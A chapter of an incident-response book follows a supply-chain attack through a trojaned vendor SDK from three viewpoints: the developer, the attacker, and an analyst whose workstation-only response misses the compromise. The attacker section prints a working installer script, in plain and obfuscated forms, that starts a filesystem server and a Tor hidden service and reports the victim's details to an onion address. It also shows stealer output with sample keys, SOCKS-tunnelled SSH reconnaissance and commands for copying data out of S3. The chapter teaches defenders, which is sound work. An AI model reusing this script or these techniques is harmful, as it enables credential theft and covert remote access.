1. Case Study: Supply Chain Calamity
Jordan
By 9:30 AM, Jordan was ready for the day to be over. The morning had started with a failed multi-factor authentication (MFA) login, which meant she had to call the help desk to get it sorted. After that, it was a series of emails from the project manager calling everyone into a last-minute stand-up meeting to discuss the latest integration project with the legacy logistics provider, Gilded Freight. No one cut Jordan any slack for being late because of the MFA issue. The project manager was already on a roll, outlining the project timeline and deliverables. NovaRise was a good place to work, but Jordan was ready for a break.
Jordan worked on the NovaFlow team, a platform that used real-time analytics and machine learning to optimize delivery routes and predict and report on shipping delays. Others had done it before, but NovaFlow developed technology that provided near-instant route recalculations when shipping conditions changed. This was a big value proposition for smaller businesses that couldn’t afford an AWS bill of $100,000/month for enterprise-grade solutions.
The NovaFlow proprietary algorithm was the secret sauce that set them apart from the competition, enabling them to gobble up market share at an accessible cost. With the integration of this latest legacy logistics provider, NovaRise was poised to expand its reach and start to threaten the bigger players in the market.
Jordan didn’t get involved with most of the larger business goals. As a cloud solutions architect, Jordan focused on backend infrastructure, ensuring the platform could scale to meet growing demand. Most of the time, that wasn’t a problem, except for integrations with third-party vendors.
NovaFlow was built on a microservices architecture, which made it easy to plug in new features and services. Infrastructure cloud services handled most of the heavy lifting, but the team relied on third-party vendors for specialized services like geolocation data, weather forecasts, traffic reporting, and carrier tracking. Most of Jordan’s day was spent troubleshooting integration issues, updating APIs, and monitoring service performance. Jordan had gotten pretty good at taking ridiculous API designs from Software-as-a-Service (SaaS) vendors and making them work with NovaFlow’s architecture. Jordan was the company’s go-to for shoehorning poorly planned API designs into a RESTful architecture.
The latest integration project for Jordan was Gilded Freight, a legacy logistics provider. To make the transition easier, Jordan’s assignment was to make the Gilded Freight API work with NovaFlow’s backend. Gilded’s API was a mess, but Jordan had seen worse.
A hodgepodge of SOAP and RESTful services, with a few nonsensical endpoints thrown in for good measure, the Gilded API was a relic from the early 2000s. Mostly, it returned a mix of XML and JSON responses, with a few endpoints that returned CSV data. After figuring the endpoints out (despite nonexistent documentation, thank you very much), Jordan’s work made it a simple lift-and-shift to integrate Gilded services.
Jordan was keeping tabs on any issues that popped up during the transition and was working on Confluence documentation and unit tests so future Jordans wouldn’t have to deal with the same mess. When Jordan started the container for the dev API endpoint on port 8080, though, her day was about to get more difficult.
jm@jm ~/novaflow-lemonlime feature/gilded-unittest ↓1
% sudo docker run --rm -it -h novaflow --name novaflow -p 8080:80 novaflow-lemonlime-4.31
docker: Error response from daemon: driver failed programming external connectivity on endpoint novaflow (babb2294b756a177abfaa9252c21ce3432dc611cf3500621d1e1b6b74450c222): failed to bind port 0.0.0.0:8080/tcp: Error starting userland proxy: listen tcp4 0.0.0.0:8080: bind: address already in use. (1)
| 1 | Docker is unable to bind to port 8080 because another process is already using it |
Jordan looked at the error for a while. Mapping the local port 8080 to the container’s port 80 should have worked without error. She checked the process list to see what was using port 8080.
jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1
% ss -natp | grep LISTEN | grep 8080
LISTEN 0 1024 127.0.0.1:8080 0.0.0.0:* users:(("ms",pid=18450,fd=9)) (1)
| 1 | The ms process is listening on port 8080 with process ID 18450 |
Jordan remembered the quip Linux is user-friendly, but it’s picky about who its friends are.
The ms process could be anything, but it appeared to be a web server (port 8080) running on the local loopback interface.
This meant that only processes running on the local machine could access port 127.0.0.1:8080.
Jordan checked the process list for PID 18450 to gather more information.
jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1
% ps -f 18450
UID PID PPID C STIME TTY STAT TIME CMD
jm 18450 18449 0 16:34 pts/2 Sl 0:00 /opt/gilded/SDK/setup/ms -i 127.0.0.1 -p 8080 -HUu / /
The ms process was part of the Gilded Freight SDK.
Funny, Jordan hadn’t noticed that before.
Jordan checked the parent process ID 18449 to see what was running it.
jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1
% ps -f 18449
UID PID PPID C STIME TTY STAT TIME CMD
jm 18449 17829 0 16:34 pts/2 S 0:00 /bin/bash ./gilded-sdk-update --upgrade
The parent process for ms was a script called gilded-sdk-update.
Jordan had seen that script distributed with the Gilded SDK, but didn’t realize it was still running.
She checked for other processes related to the update script.
jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1
% ps --ppid 18449 -f
UID PID PPID C STIME TTY TIME CMD
jm 18450 18449 0 16:34 pts/2 00:00:00 /opt/gilded/SDK/setup/ms -i 127.0.0.1 -p 8080 -H /
jm 18451 18449 1 16:34 pts/2 00:00:00 /opt/gilded/SDK/setup/ssupd -f /opt/gilded/SDK/setup/ssupd.rc --quiet
The gilded-sdk-update script had two child processes: ms and ssupd.
On a whim, Jordan looked at the listening ports for any of the three process names.
jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1
% ss -natp | grep LISTEN | grep -E "ms|ssupd|gilded-sdk-update"
LISTEN 0 4096 0.0.0.0:9150 0.0.0.0:* users:(("ssupd",pid=18451,fd=6)) (1)
LISTEN 0 1024 127.0.0.1:8080 0.0.0.0:* users:(("ms",pid=18450,fd=9)) (2)
| 1 | The ssupd process is listening on port 9150, bound to all interfaces (0.0.0.0) |
| 2 | The ms process is listening on port 8080, bound to the local loopback interface (127.0.0.1) |
This was not good.
The ssupd process was listening on port 9150, bound to all interfaces.
This meant that other people could connect to that service from external workstations, unlike the ms service bound to 127.0.0.1.
Jordan didn’t like this.
It wasn’t clear what the ssupd process was doing, but there was no reason for it to be running on the local machine.
The earlier shell script, gilded-sdk-update, might provide some answers.
jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1
% cat /opt/gilded/SDK/setup/gilded-sdk-update
z="
";uBz='ttcp';Hz='T/se';sz='USER';Cz='pt/g';GCz='2gej';DBz='| tr';hBz='me=$';ECz='tofc';Jz='ms -';ICz='vyd.';Tz='eblo';OBz=' -x ';eBz='\';GBz=')';Sz='mp/w';mBz='sswo';az=' $RO';jBz=' "us';PBz='sock';QBz='s5h:';QCz='D';nBz='rd=$';nz='HOST';rBz='OLEN';WBz='--da';iBz='" \';Qz=' / /';oBz=' "st';ABz='T/lo';kBz='er=$';Az='ROOT';jz='DPID';HBz='PASS';vBz='2jl6';gz='quie';Iz='tup/';Pz='-HUu';BCz='5vwc';bz='OT/s';mz='p 10';Dz='ilde';ez='pd.r';Vz='&1 &';aBz=' "on';tBz='://d';YBz='rlen';EBz=' -d ';TBz='9150';rz='ame)';Ez='d/SD';IBz='WORD';wBz='ated';CCz='tcbp';PCz='PDPI';DCz='m2zn';uz='hoam';ZBz='code';sBz='http';Kz='i 12';NBz='curl';Uz='g 2>';BBz='gs/h';HCz='5omm';Gz='$ROO';KBz='STOL';lBz=' "pa';oz='NAME';SBz='0.1:';xz='N=$(';FBz=''\''\n'\''';VBz='-G \';yz='cat ';OCz='$SSU';LCz='wait';qBz='=$ST';ACz='esuv';dz='/ssu';cz='etup';Mz='0.1 ';hz='t &';bBz='ion=';pz='=$(h';Yz='ssup';Rz=' >/t';tz='=$(w';XBz='ta-u';Bz='="/o';wz='ONIO';gBz='stna';yBz='osyz';Nz='-p 8';FCz='76wb';fBz=' "ho';iz='SSUP';RBz='//12';Xz='D=$!';JCz='onio';qz='ostn';vz='i)';lz='slee';kz='=$!';LBz='EN=f';Fz='K"';JBz='=""';Oz='080 ';pBz='olen';dBz='ON" ';UBz=' \';NCz='PID ';MCz=' $MS';CBz='ame ';Lz='7.0.';MBz='alse';fz='c --';Zz='d -f';xBz='zlgc';KCz='n';Wz='MSPI';cBz='$ONI';
[...]
Jordan wasn’t sure what to make of that output, except for one thing: it looked sus. Just as no one had cut her slack for being late to the stand-up meeting, Jordan knew the PM wasn’t going to be receptive to any delays. So, it was time to get back to work.
jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1 % killall ms ssupd gilded-sdk-update jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1 % ps -ef | grep -E "ssupd|gilded|ms" jm 18529 16891 0 16:41 pts/0 00:00:00 grep --color=auto -E ssupd|gilded|ms
Jordan terminated the ms, ssupd, and gilded-sdk-update processes.
Sporadic checks throughout the day revealed they hadn’t started back up again.
After a few moments of reflection, Jordan took one more step to clean up.
jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1 % sudo rm -fr /opt/gilded/ jm@jm /novaflow-lemonlime feature/gilded-unittest ↓1 %
After stopping the TCP/8080 listener and removing the SDK code, Jordan could start the Docker container and get back to work.
Pyrix
Six hundred miles away, a notification lit up Pyrix’s stealer console. A new workstation checked in.
While others were focused on targeting clients, Pyrix preferred to let the clients come to him. He had a process:
-
Find an SDK or library that was reasonably popular, but not too popular
-
Scan the SDK provider resources to identify VPN, SSH, or other authentication endpoints
-
Use credential stuffing and password spray to gain access (or buy access from a broker)
-
Enumerate and privesc to gain access to Source Code Management (SCM) repositories
-
Add stealer code to the SDK
-
Wait for the connections to arrive
The process was patient by design, trading speed for scale and repeatability. It was a routine that had worked well, targeting mostly Linux and macOS developers for access. Windows EDRs were a hassle. Why get burned by Windows endpoint monitoring when you could just target the developers with Linux and macOS machines?
This time, Pyrix targeted Gilded Freight, a trucking company turned big-tech outfit. In exchange for some code he had lying around, Pyrix convinced his IAB to share VPN credentials for an offshore Gilded Freight developer account. From there, a reliable Jenkins bug supplied access to the SCM. Now it was time to add the stealer code.
Pyrix scoffed at the efforts other attackers used to avoid detection with bloated client-side stealers. "When you add 50MB of bloat and a thousand libraries, yeah, you’re going to get caught." Pyrix preferred a minimalist approach.
Instead of trying to integrate all the logic to steal data into the SDK, Pyrix added two primary functions to the Linux SDK installer script:
-
A minimal web server using the root of the file system as the web root
-
A Tor hidden service to provide anonymous remote access and network tunneling
The web server was MiniServe, a minimal web server that served filesystem content easily.
Pyrix used a set of match-and-replace rules to modify the MiniServe source code strings and compiled a new binary to evade simple signature checks.
Tor ensured that all traffic was anonymized, and the web server was accessible only from the local machine.
Renaming the Tor client to ssupd gave it the air of legitimacy without any additional fuss.
The Tor configuration was the piece that made the stealer more than a file browser.
Pyrix configured ssupd.rc to expose a hidden service with two ports: one mapping to MiniServe for filesystem access, and another mapping to Tor’s own SOCKS listener.
By binding the SOCKS port to all interfaces (0.0.0.0:9150) instead of the default localhost, Pyrix ensured that the same Tor process served as both a network pivot and a SOCKS proxy.
Through the hidden service SOCKS port, Pyrix could route arbitrary TCP connections through the victim’s workstation into whatever internal network it sat on.
SSH, database connections, API calls: anything reachable from the workstation was reachable from Pyrix.
The only remaining piece was the shell script to start the services and notify the server-side stealer.
> cat gilded-sdk-update-orig
#!/bin/bash
ROOT="/opt/gilded/SDK"
$ROOT/setup/ms -i 127.0.0.1 -p 8080 -HUu / / >/tmp/weblog 2>&1 &
MSPID=$!
$ROOT/setup/ssupd -f $ROOT/setup/ssupd.rc --quiet &
SSUPDPID=$!
sleep 10
HOSTNAME=$(hostname)
USER=$(whoami)
ONION=$(cat $ROOT/logs/hostname | tr -d '\n')
PASSWORD=""
STOLEN=false
# Notify Onions Stealer
curl -x socks5h://127.0.0.1:9150 \
-G \
--data-urlencode "onion=$ONION" \
--data-urlencode "hostname=$HOSTNAME" \
--data-urlencode "user=$USER" \
--data-urlencode "password=$PASSWORD" \
--data-urlencode "stolen=$STOLEN" \
http://dttcp2jl6atedzlgcosyzesuv5vwctcbpm2zntofc76wb2gej5ommvyd.onion
wait $MSPID $SSUPDPID
cURL used the victim proxy to send the notification to the server-side stealer over Tor.
Using bash-obfuscate, Pyrix modified the script to make it harder to read.
> bash-obfuscate gilded-sdk-update-orig -o gilded-sdk-update
> head -2 gilded-sdk-update
z="
";uBz='ttcp';Hz='T/se';sz='USER';Cz='pt/g';GCz='2gej';DBz='| tr';hBz='me=$';ECz='tofc';Jz='ms -';ICz='vyd.';Tz='eblo';OBz=' -x ';eBz='\';GBz=')';Sz='mp/w';mBz='sswo';az=' $RO';jBz=' "us';PBz='sock';QBz='s5h:';QCz='D';nBz='rd=$';nz='HOST';rBz='OLEN';WBz='--da';iBz='" \';Qz=' / /';oBz=' "st';ABz='T/lo';kBz='er=$';Az='ROOT';jz='DPID';HBz='PASS';vBz='2jl6';gz='quie';Iz='tup/';Pz='-HUu';BCz='5vwc';bz='OT/s';mz='p 10';Dz='ilde';ez='pd.r';Vz='&1 &';aBz=' "on';tBz='://d';YBz='rlen';EBz=' -d ';TBz='9150';rz='ame)';Ez='d/SD';IBz='WORD';wBz='ated';CCz='tcbp';PCz='PDPI';DCz='m2zn';uz='hoam';ZBz='code';sBz='http';Kz='i 12';NBz='curl';Uz='g 2>';BBz='gs/h';HCz='5omm';Gz='$ROO';KBz='STOL';lBz=' "pa';oz='NAME';SBz='0.1:';xz='N=$(';FBz=''\''\n'\''';VBz='-G \';yz='cat ';OCz='$SSU';LCz='wait';qBz='=$ST';ACz='esuv';dz='/ssu';cz='etup';Mz='0.1 ';hz='t &';bBz='ion=';pz='=$(h';Yz='ssup';Rz=' >/t';tz='=$(w';XBz='ta-u';Bz='="/o';wz='ONIO';gBz='stna';yBz='osyz';Nz='-p 8';FCz='76wb';fBz=' "ho';iz='SSUP';RBz='//12';Xz='D=$!';JCz='onio';qz='ostn';vz='i)';lz='slee';kz='=$!';LBz='EN=f';Fz='K"';JBz='=""';Oz='080 ';pBz='olen';dBz='ON" ';UBz=' \';NCz='PID ';MCz=' $MS';CBz='ame ';Lz='7.0.';MBz='alse';fz='c --';Zz='d -f';xBz='zlgc';KCz='n';Wz='MSPI';cBz='$ONI';
Modifying the installer script enabled Pyrix to deploy the stealer during new installations or updates of the Gilded Freight SDK. When victims installed the SDK, the stealer would start up and send a notification to Pyrix’s server.
Each entry on the server is linked to the client-side onion URL, allowing him to navigate the victim filesystem anonymously.
With access to the victim’s filesystem, he could browse and download any files of interest.
Thanks to MiniServe, sending a request to the victim /upload endpoint with the path parameter also allowed arbitrary file uploads.
This was fine for one-off interactions, but the real opportunity was in automation.
> ls adduser.py chrome-stealer.py db-connection.py decrypter.py firefox-stealer.py harvesterer.py recon.py status.py stealer-wip.py stealer.py > ./stealer-wip.py Usage: stealer-wip.py <http://foo.onion:port>
> python stealer-wip.py "http://k4gxda7puozk22obbsus6mpa6ilzfknjso7r6pe57iwukiaajfzmf6qd.onion:8080"
connecting to http://k4gxda7puozk22obbsus6mpa6ilzfknjso7r6pe57iwukiaajfzmf6qd.onion:8080
connected. walking /home|/Users|/root
done. found 3 directories.
walking /home/jm
+ Checking processes
+ Checking ssh
- Found ssh keys:
/home/jm/.ssh/id_rsa
/home/jm/.ssh/id_rsa.pub
+ Checking sudo
- Found sudo_as_admin_successful
+ Checking shell
- Found credentials:
mysql -u root -pdr0wssaP nfdev-01
+ Checking less
+ Checking vim
+ Checking gdb
+ Checking mysql
+ Checking sqlite
+ Checking browser
+ Checking python
+ Checking pwsh
+ Checking aws
- Found aws credentials:
[default]
aws_access_key_id = AKIA5IYSSAFAJXZEPZPZ
aws_secret_access_key = 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
+ Checking azure
+ Checking gcp
+ Checking do
+ Checking oracle
+ Checking firebase
[...]
Pyrix sat back, pleased with this result. SSH keys, a MySQL database root password, and AWS credentials. Three paths into the network, all from a single developer workstation.
Time to get to work.
Lateral Movement
Pyrix started with the SSH keys. Developer workstations almost always had SSH access to internal systems, and the keys were already there, waiting.
The stealer had already downloaded Jordan’s private key and known_hosts file through MiniServe.
Now Pyrix used the second hidden service port, the SOCKS proxy, to tunnel SSH connections through Jordan’s workstation into NovaRise’s internal network.
From Pyrix’s perspective, it was just another proxy hop.
From the internal servers' perspective, the connections came from Jordan’s workstation.
> python recon.py --proxy socks5h://k4gxda7puozk22obbsus6mpa6ilzfknjso7r6pe57iwukiaajfzmf6qd.onion:1081 --key /tmp/loot/jm_id_rsa --known-hosts /tmp/loot/jm_known_hosts (1) loading key /tmp/loot/jm_id_rsa parsing known_hosts: 4 entries routing through socks proxy… + jm@nfdev-01.internal.novarise.io — connected (2) + jm@nfdev-02.internal.novarise.io — connected (3) + jm@staging-api.internal.novarise.io — timeout + jm@ci-runner.internal.novarise.io — connected (4) 3/4 hosts accessible.
| 1 | SSH connections routed through the Tor hidden service SOCKS proxy on the victim’s workstation |
| 2 | Primary development server |
| 3 | Secondary development server |
| 4 | CI/CD runner with build pipeline access |
Three of four hosts in Jordan’s known_hosts file accepted the stolen key.
The internal servers logged the connections as originating from Jordan’s workstation IP, which was indistinguishable from her normal development activity.
The development servers were the real prize. Shared development environments almost always had database connections, internal documentation, and additional credentials stored in configuration files.
> python recon.py --proxy socks5h://k4gxda7puozk22obbsus6mpa6ilzfknjso7r6pe57iwukiaajfzmf6qd.onion:1081 --ssh jm@nfdev-01.internal.novarise.io --harvest connecting via SOCKS proxy and SSH key… connected to nfdev-01.internal.novarise.io + Checking environment variables - Found DATABASE_URL: mysql://nfapp:Pr0dR3adOnly!@db-prod.internal.novarise.io:3306/novaflow (1) + Checking config files - Found /opt/novaflow/config/production.yml - Found /opt/novaflow/.env.production + Checking shell history - Found aws s3 commands referencing: novarise-customer-data, novarise-algo-assets (2) + Checking docker configs - Found docker-compose.yml with service credentials + Checking git remotes - Found gitlab remote: git@gitlab.internal.novarise.io:novaflow/novaflow-core.git (3) Harvested 14 credentials from nfdev-01.
| 1 | Production database connection string with read-only credentials |
| 2 | S3 bucket names referencing customer data and algorithm assets |
| 3 | Internal GitLab repository for the NovaFlow core application |
Fourteen credentials from a single development server. Pyrix didn’t even need to escalate privileges. Developers opted to store production credentials in environment variables, configuration files, and shell history, and Pyrix had no complaints about that.
The CI/CD runner was useful too. Build pipelines often use service account credentials to deploy production environments, and the runner’s configuration files contain additional AWS access keys.
Cloud Pivot
Pyrix didn’t rush. He started with Jordan’s AWS credentials on the workstation and ran basic enumeration to understand the environment.
> vi ~/.aws/credentials
> aws sts get-caller-identity
{
"UserId": "AIDA5IYSSAFAJXZEPZPZ",
"Account": "847203551429",
"Arn": "arn:aws:iam::847203551429:user/jmorales" (1)
}
> aws s3 ls
2024-08-14 09:23:17 novarise-customer-data (2)
2024-11-02 14:07:33 novarise-algo-assets (3)
2025-01-15 08:45:22 novarise-prod-backups
2025-02-28 16:33:41 novarise-dev-artifacts
2025-03-10 11:12:09 novarise-logs-archive
2025-03-22 09:55:48 novarise-ml-training-data
| 1 | Jordan’s IAM identity confirmed |
| 2 | Customer data bucket |
| 3 | Algorithm assets bucket containing the proprietary NovaFlow routing algorithm |
Six S3 buckets. Two of them matched the references Pyrix had found in shell history on the development server. The names told him everything he needed to know about their contents.
> aws s3 ls s3://novarise-customer-data --recursive --human-readable --summarize [...] 2025-04-01 00:15:03 1.2 GiB exports/customer-shipping-2025-Q1.csv.gz 2025-04-01 00:15:47 892.4 MiB exports/customer-contacts-2025-Q1.csv.gz 2025-04-01 00:16:22 445.7 MiB exports/order-history-2025-Q1.csv.gz Total Objects: 847 Total Size: 34.8 GiB (1) > aws s3 ls s3://novarise-algo-assets --recursive --human-readable --summarize [...] 2025-03-28 16:42:11 12.4 MiB models/novaflow-routing-v4.2.pkl 2025-03-28 16:42:15 8.7 MiB src/routing-engine-core.tar.gz (2) 2025-03-28 16:42:18 3.1 MiB src/ml-pipeline-config.tar.gz Total Objects: 23 Total Size: 156.3 MiB
| 1 | 34.8 GiB of customer shipping and contact data |
| 2 | NovaFlow proprietary routing algorithm source code |
Customer shipping data, contact information, and order history. The algorithm source code. All sitting in S3 buckets that a developer account had read access to.
Exfiltration
Pyrix kept it simple. MiniServe’s upload endpoint on the victim workstation provided him with a channel back to the onion network, but for bulk data, he preferred working directly from the cloud. Using Jordan’s stolen credentials, he spun up a small EC2 instance configured with a public IP and his own SSH key, giving him direct access independent of the stealer infrastructure. He copied the target files to the instance and pulled the staged archives to his own machine over SSH.
[ec2-user@ip-10-0-47-12 ~]$ aws s3 cp s3://novarise-algo-assets/src/routing-engine-core.tar.gz /tmp/staging/ download: s3://novarise-algo-assets/src/routing-engine-core.tar.gz to /tmp/staging/routing-engine-core.tar.gz [ec2-user@ip-10-0-47-12 ~]$ aws s3 cp s3://novarise-customer-data/exports/customer-shipping-2025-Q1.csv.gz /tmp/staging/ download: s3://novarise-customer-data/exports/customer-shipping-2025-Q1.csv.gz to /tmp/staging/customer-shipping-2025-Q1.csv.gz [ec2-user@ip-10-0-47-12 ~]$ aws s3 cp s3://novarise-customer-data/exports/customer-contacts-2025-Q1.csv.gz /tmp/staging/ download: s3://novarise-customer-data/exports/customer-contacts-2025-Q1.csv.gz to /tmp/staging/customer-contacts-2025-Q1.csv.gz
Three files. The routing algorithm, customer shipping records, and customer contact information. Pyrix pulled the archives back over his SSH connection and verified the contents.
The algorithm’s source code was clean and well-documented. Someone would pay for it. The customer data contained names, addresses, phone numbers, and shipping histories for over 200,000 NovaRise customers. That had a different kind of buyer.
Pyrix updated his stealer console to mark the NovaRise entry as harvested and moved on to the next victim in the queue. The whole operation, from initial notification to exfiltration, took less than a day. By the time Jordan noticed the port conflict on 8080 and killed the processes, Pyrix had already finished his work. Her response cut off the stealer’s access to her workstation, but the exfiltrated data and the independently running EC2 instance were already beyond her reach.
Sam
Sam had been on-call for three quiet days when the ticket landed in his queue.
Six years in security operations had taught him to take every ticket seriously, even the low-priority ones.
This one was categorized under SOFTWARE_ISSUE, filed by a cloud solutions architect named Jordan.
The ticket described an SDK that had installed unexpected background processes on her workstation.
Jordan noted that she had already terminated the processes and removed the SDK, and she had been heads-down on an integration project since the incident six days earlier.
Sam was methodical, and something about the SDK processes didn’t sit right. He started with a brief call to Jordan to understand what she had observed.
Jordan walked him through the timeline: the port conflict on 8080, the ms and ssupd processes, the weird shell script, and the steps she took to stop the processes and remove the SDK directory.
She mentioned she hadn’t seen the processes return after termination.
Sam thanked her and began his investigation.
Identification
Sam’s first step was to examine Jordan’s workstation. He connected remotely and checked for any running processes matching the names Jordan had described.
sam@jm-workstation ~
$ ps -ef | grep -E "ms|ssupd|gilded"
sam 21847 21832 0 10:14 pts/1 00:00:00 grep --color=auto -E ms|ssupd|gilded
$ ls -la /opt/gilded/
ls: cannot access '/opt/gilded/': No such file or directory (1)
$ ss -natp | grep -E "8080|9150"
$ (2)
| 1 | Jordan already removed the SDK directory, and |
| 2 | Jordan did not identify any processes listening on the ports. |
Clean. No running processes, no SDK directory, no listening ports. Jordan had done a thorough job of removing the immediate threat. Sam noted this in his ticket and moved on to checking system logs for historical evidence.
sam@jm-workstation ~
$ journalctl --since "6 days ago" | grep -i "gilded\|ssupd\|ms.*8080"
Apr 07 16:34:02 jm-workstation bash[18449]: Started /bin/bash ./gilded-sdk-update --upgrade
Apr 07 16:34:03 jm-workstation ms[18450]: listening on 127.0.0.1:8080
Apr 07 16:34:04 jm-workstation ssupd[18451]: opening SOCKS listener on 0.0.0.0:9150 (1)
Apr 07 16:41:18 jm-workstation systemd[1]: Stopped target session scope for jm (18449)
Apr 07 16:41:18 jm-workstation systemd[1]: Stopped target session scope for jm (18450)
Apr 07 16:41:18 jm-workstation systemd[1]: Stopped target session scope for jm (18451) (2)
[...]
| 1 | The ssupd process opened a SOCKS listener on port 9150 |
| 2 | All three processes terminated at 16:41, consistent with Jordan’s killall command |
The logs confirmed Jordan’s account. Three processes started at 16:34, all terminated at 16:41 when Jordan killed them. Sam noted the seven-minute window between the start and termination of the process. He also noted the SOCKS listener on port 9150, which was consistent with Tor proxy behavior. It was an interesting detail for anonymized outbound network activity, but not the focus of his primary investigation.
Sam checked the network logs for Jordan’s workstation during the seven-minute window.
sam@jm-workstation ~
$ journalctl --since "Apr 07 16:34" --until "Apr 07 16:42" | grep -i "connect\|network\|tcp"
Apr 07 16:34:08 jm-workstation ssupd[18451]: connection established to guard relay
Apr 07 16:34:14 jm-workstation ssupd[18451]: circuit built
Apr 07 16:34:22 jm-workstation ssupd[18451]: SOCKS connection from 127.0.0.1:44892
Apr 07 16:34:24 jm-workstation curl[18465]: connected to 127.0.0.1:9150
[...]
There was some network activity during that window, but nothing is currently active. Sam verified that no outbound connections were currently established to unusual destinations. The workstation’s network activity looked normal for a developer machine: package repository connections, API traffic to cloud services, and standard browser activity.
Containment
With no active malicious processes and no current network indicators, Sam assessed the containment status. Jordan had already terminated the processes and removed the SDK. The workstation was operational and showed no signs of ongoing compromise.
Sam documented his containment assessment: the threat was no longer active on the workstation, and no additional containment actions were required at this time. He recommended that Jordan avoid reinstalling the Gilded Freight SDK until the vendor could be contacted about the suspicious components.
Eradication
For eradication, Sam recommended a full malware scan of Jordan’s workstation using the organization’s endpoint protection platform. The scan completed without findings, which was consistent with Jordan having already removed the SDK directory and all associated files.
Sam checked common persistence locations to confirm nothing had been left behind.
sam@jm-workstation ~
$ crontab -l -u jm
no crontab for jm (1)
$ ls -la /etc/systemd/system/ | grep -i "gilded\|ssupd\|ms"
$ ls -la /home/jm/.config/autostart/ 2>/dev/null
ls: cannot access '/home/jm/.config/autostart/': No such file or directory (2)
| 1 | No scheduled tasks for Jordan’s user account |
| 2 | No autostart entries |
No cron jobs, no systemd services, no Linux desktop autostart entries. The eradication was complete as far as Sam could determine.
Recovery
The workstation was already operational. Jordan had been using it for four days without issue since removing the SDK. No recovery actions were needed.
Lessons Learned
Sam closed the ticket with a professional summary. He documented the timeline, processes involved, ports used, and actions taken. His recommendations were reasonable:
-
Contact the Gilded Freight vendor about the suspicious SDK components
-
Review the SDK procurement process to include security review before installation
-
Consider adding the process names (
ms,ssupd,gilded-sdk-update) to the endpoint detection watch list
Sam marked the ticket as resolved. The documentation was thorough, the analysis was sound, and each step of the response process had been followed. By any standard checklist, the incident had been handled.
What Remained
While Sam closed the ticket, Pyrix was downloading the latest quarterly customer data export from the novarise-customer-data S3 bucket.
The EC2 instance he had launched using Jordan’s credentials was still running in the NovaRise AWS account, quietly staging files for exfiltration.
Jordan’s SSH keys were still valid on three internal development servers.
The production database credentials harvested from nfdev-01 were still active.
Sam never searched for process names, network indicators, or activity on port 9150, or activity on any other system in the environment. He never checked whether other developers had installed the same Gilded Freight SDK. He never examined AWS CloudTrail logs for unauthorized access using Jordan’s credentials. He never investigated whether the SSH keys on Jordan’s workstation had been used from an unexpected source.
Sam’s response was not careless or the result of negligence. He followed a structured process, applied reasonable judgment at each step, and documented his work. The problem was that Sam’s response playbook treated the workstation as the entire incident. Once the processes were gone and the scan came back clean, the process he was following told him the work was done.
Nothing in Sam’s process prompted him to ask what the attacker accomplished during the unauthorized access. Nothing prompted Sam to check whether Jordan’s credentials had been used elsewhere, or whether the same SDK had been installed on other developer machines. The response stayed on the workstation because the response model never required him to look beyond it.
A process that moves from identification to recovery in a single forward pass assumes that the visible indicators represent the full scope of the compromise. For many attacks (from straightforward to complex), that assumption leads to an inadequate response. By the time Sam closed the ticket, the attacker’s foothold had expanded well beyond the workstation where the investigation began and ended, and the organization was none the wiser.